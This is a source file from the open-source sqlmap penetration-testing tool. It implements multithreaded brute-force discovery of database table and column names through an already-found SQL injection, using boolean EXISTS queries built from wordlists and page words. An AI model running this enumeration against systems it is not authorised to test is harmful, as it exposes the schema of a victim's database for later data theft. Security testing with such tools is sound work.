mirror of
https://github.com/sqlmapproject/sqlmap.git
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306 lines
10 KiB
Python
306 lines
10 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import threading
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import time
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToSessionFile
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from lib.core.common import dataToStdout
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from lib.core.common import filterListValue
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from lib.core.common import getFileItems
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from lib.core.common import Backend
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from lib.core.common import getPageTextWordsSet
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.common import safeStringFormat
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from lib.core.common import safeSQLIdentificatorNaming
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.exception import sqlmapMissingMandatoryOptionException
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from lib.core.exception import sqlmapThreadException
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from lib.core.settings import MAX_NUMBER_OF_THREADS
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from lib.core.settings import METADB_SUFFIX
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from lib.core.session import safeFormatString
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from lib.request import inject
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def tableExists(tableFile, regex=None):
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tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True)
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retVal = []
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infoMsg = "checking table existence using items from '%s'" % tableFile
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logger.info(infoMsg)
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infoMsg = "adding words used on web page to the check list"
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logger.info(infoMsg)
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pageWords = getPageTextWordsSet(kb.originalPage)
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for word in pageWords:
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word = word.lower()
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if len(word) > 2 and not word[0].isdigit() and word not in tables:
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tables.append(word)
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tables = filterListValue(tables, regex)
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count = [0]
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length = len(tables)
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threads = []
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items = set()
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tbllock = threading.Lock()
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iolock = threading.Lock()
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kb.threadContinue = True
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kb.bruteMode = True
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def tableExistsThread():
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while count[0] < length and kb.threadContinue:
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tbllock.acquire()
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table = safeSQLIdentificatorNaming(tables[count[0]])
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count[0] += 1
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tbllock.release()
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if conf.db and METADB_SUFFIX not in conf.db:
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fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table)
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else:
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fullTableName = table
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result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName)))
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iolock.acquire()
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if result and table.lower() not in items:
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retVal.append(table)
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items.add(table.lower())
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dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\
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kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\
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safeFormatString(fullTableName)))
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if conf.verbose in (1, 2):
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clearConsoleLine(True)
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infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), table)
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dataToStdout(infoMsg, True)
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if conf.verbose in (1, 2):
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status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
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dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
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iolock.release()
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if conf.threads > 1:
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infoMsg = "starting %d threads" % conf.threads
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logger.info(infoMsg)
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else:
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while True:
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message = "please enter number of threads? [Enter for %d (current)] " % conf.threads
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choice = readInput(message, default=str(conf.threads))
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if choice and choice.isdigit():
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if int(choice) > MAX_NUMBER_OF_THREADS:
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errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS
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logger.critical(errMsg)
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else:
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conf.threads = int(choice)
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break
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if conf.threads == 1:
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warnMsg = "running in a single-thread mode. This could take a while."
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logger.warn(warnMsg)
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# Start the threads
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for numThread in range(conf.threads):
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thread = threading.Thread(target=tableExistsThread, name=str(numThread))
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thread.start()
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threads.append(thread)
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# And wait for them to all finish
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try:
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alive = True
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while alive:
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alive = False
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for thread in threads:
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if thread.isAlive():
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alive = True
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thread.join(5)
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except KeyboardInterrupt:
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kb.threadContinue = False
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kb.threadException = True
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print
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logger.debug("waiting for threads to finish")
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warnMsg = "user aborted during common table existence check. "
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warnMsg += "sqlmap will display some tables only"
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logger.warn(warnMsg)
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try:
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while (threading.activeCount() > 1):
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pass
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except KeyboardInterrupt:
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raise sqlmapThreadException, "user aborted"
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finally:
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kb.bruteMode = False
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kb.threadContinue = True
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kb.threadException = False
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clearConsoleLine(True)
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dataToStdout("\n")
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if not retVal:
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warnMsg = "no table(s) found"
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logger.warn(warnMsg)
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else:
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for item in retVal:
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if not kb.data.cachedTables.has_key(conf.db):
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kb.data.cachedTables[conf.db] = [item]
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else:
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kb.data.cachedTables[conf.db].append(item)
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return kb.data.cachedTables
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def columnExists(columnFile, regex=None):
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if not conf.tbl:
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errMsg = "missing table parameter"
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raise sqlmapMissingMandatoryOptionException, errMsg
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columns = getFileItems(columnFile, unique=True)
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columns = filterListValue(columns, regex)
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if conf.db and METADB_SUFFIX not in conf.db:
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table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl)
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else:
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table = conf.tbl
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table = safeSQLIdentificatorNaming(table)
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retVal = []
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infoMsg = "checking column existence using items from '%s'" % columnFile
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logger.info(infoMsg)
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count = [0]
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length = len(columns)
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threads = []
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collock = threading.Lock()
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iolock = threading.Lock()
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kb.threadContinue = True
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kb.bruteMode = True
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def columnExistsThread():
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while count[0] < length and kb.threadContinue:
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collock.acquire()
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column = safeSQLIdentificatorNaming(columns[count[0]])
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count[0] += 1
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collock.release()
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result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table)))
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iolock.acquire()
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if result:
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retVal.append(column)
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if conf.verbose in (1, 2):
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clearConsoleLine(True)
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infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), column)
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dataToStdout(infoMsg, True)
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if conf.verbose in (1, 2):
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status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
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dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
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iolock.release()
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if conf.threads > 1:
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infoMsg = "starting %d threads" % conf.threads
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logger.info(infoMsg)
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else:
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while True:
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message = "please enter number of threads? [Enter for %d (current)] " % conf.threads
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choice = readInput(message, default=str(conf.threads))
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if choice and choice.isdigit():
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if int(choice) > MAX_NUMBER_OF_THREADS:
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errMsg = "maximum number of used threads is %d avoiding possible connection issues" % MAX_NUMBER_OF_THREADS
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logger.critical(errMsg)
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else:
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conf.threads = int(choice)
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break
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if conf.threads == 1:
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warnMsg = "running in a single-thread mode. This could take a while."
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logger.warn(warnMsg)
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# Start the threads
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for numThread in range(conf.threads):
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thread = threading.Thread(target=columnExistsThread, name=str(numThread))
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thread.start()
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threads.append(thread)
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# And wait for them to all finish
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try:
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alive = True
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while alive:
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alive = False
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for thread in threads:
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if thread.isAlive():
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alive = True
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thread.join(5)
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except KeyboardInterrupt:
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kb.threadContinue = False
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kb.threadException = True
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print
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logger.debug("waiting for threads to finish")
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warnMsg = "user aborted during common column existence check. "
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warnMsg += "sqlmap will display some columns only"
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logger.warn(warnMsg)
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try:
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while (threading.activeCount() > 1):
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pass
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except KeyboardInterrupt:
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raise sqlmapThreadException, "user aborted"
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finally:
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kb.bruteMode = False
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kb.threadContinue = True
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kb.threadException = False
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clearConsoleLine(True)
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dataToStdout("\n")
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if not retVal:
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warnMsg = "no column(s) found"
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logger.warn(warnMsg)
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else:
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columns = {}
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for column in retVal:
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result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
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if result:
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columns[column] = 'numeric'
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else:
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columns[column] = 'non-numeric'
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dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\
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safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\
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safeFormatString(column), safeFormatString(columns[column])))
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kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
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return kb.data.cachedColumns
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